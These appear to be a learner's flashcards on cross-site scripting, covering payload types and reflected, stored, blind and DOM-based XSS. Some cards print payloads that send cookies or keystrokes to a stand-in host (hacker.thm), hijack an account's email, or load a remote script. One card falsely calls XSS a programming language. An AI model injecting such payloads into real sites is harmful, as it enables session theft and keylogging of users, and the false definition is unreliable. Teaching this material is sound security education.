Cross-Site Scripting Flashcards
What is Cross-Site Scripting?
Cross-Site Scripting is also known as XSS, is a type of injection attack where the attacker injects malicious javascript code into a web application thats meant to be executed by other users.
What is XSS?
XSS is a programming language thats based off of Javascript.
Whats an XSS payload?
A XSS payload is the java script that you wish to be executed by the target user
What are the 2 parts of an XSS payload?
The 2 parts of an XSS payload are The Intention and The Modification.
What is the purpose of The Intention?
The Intention is what we actually want the javascript code to do.
What is the purpose of The Modification?
These are the actual changes that we make to the javascript to make it execute.
What are some examples of Intentions?
Some examples include: Proof of Concept, Session Stealing, Key Logging, and Business Logic
What is Proof of Concept?
This is the simplest form of payload where all your really doing is trying to confirm whether or not you can achieve XSS; normally this is done in the form of a pop with a message.
What would a payload for Proof of Concept look like?
<script>
alert('XSS Payload');
</script>What is Session Stealing?
Details of a users session such as login tokens are often kept in cookies on the target machine; there’s javascript code that can take those target cookies and encode them to ensure successful transmission and post it to a hacker controlled website to be logged.
What does a payload for Session Stealing look like?
<script>
fetch('http://hacker.thm/steal?cookie= ' + btoa(document.cookie));
</script>What is a Key Logger?
Anything that you type on a website with an established XSS, will be forwarded to a website under hackers control.
What does the payload for a Key Logger look like?
<script>
document.onkeypress= function(e){fetch('https://hacker.thm/log?key=' + btoa(e.key));}
</script>What is Business Logic?
This a much more specific form of XSS targeting mostly key staff in business positions, its basically just executing a JS function or network resource.
Whats an example of Business Logic?
A Goode example to think about would be a JS function thats used for changing the users email address called user.changeEmail();
What would a payload for this actually look like?
<script>
user.changeEmail('attacker@hacker.thm');
</script>What is Reflected XSS?
Reflected XSS happens when user-supplied data is included in the webpage source without any validation.
What’s an example of Reflected XSS?
Say the user inserts an incorrect input into the website and an error message is displayed. If you check the source code on the error, you’ll find that it was constructed differently. Now say that the application doesn’t check the contents of the error parameter, allowing the attacker to insert malicious code into the error.
Can you write an example of this in practice?
<div>
<p>'Invalid Input'</p>
</div>
after injection:
<div>
<p><script src=https://attacker.thm/evil.js></script></p>
</div>
Simply remove the contents of the <p> tag and replace it with it XSS script.
What is Stored XSS?
As the name suggest, the XSS payload is stored on the web application(in a database for example) and then gets executed only after anther users visits the application.
What is Blind XSS?
Blind XSS is basically the same as Stored XSS, being that it’s stored on a web application for another user to view, however in this instance you won’t be able to see the payload work or test to see if it works.
Whats an example of Blind XSS?
Let’s say a website has a contact form where you can message a member of staff; often times these messages that you send to staff aren’t checked for malicious code, which allows the attacker to enter in anything that they want. These messages will then get turned into support tickets.
What does DOM stand for and mean?
DOM stands for Document Object Model and is a programming interface for HTML and XML documents. Through this a webpage can become a document, and that document can be viewed on a browser or open source HTML.
What is DOM Based XSS?
DOM Based XSS is where the javascript execution happens directly in the browser without any new pages being loaded or data submitted by backend code.
Whats an example of Stored XSS?
Look at a blog website or any other site that allows its user to submit comments, unfortunately a lot of these applications won’t filter the user submitted comments for malicious code. These comments will be saved on the sites database and then run when other users view the comment or visit the site.
What are the consequences of this on the user?
The biggest issue here is that its possible for the attacker to end up hijacking the staff members session.
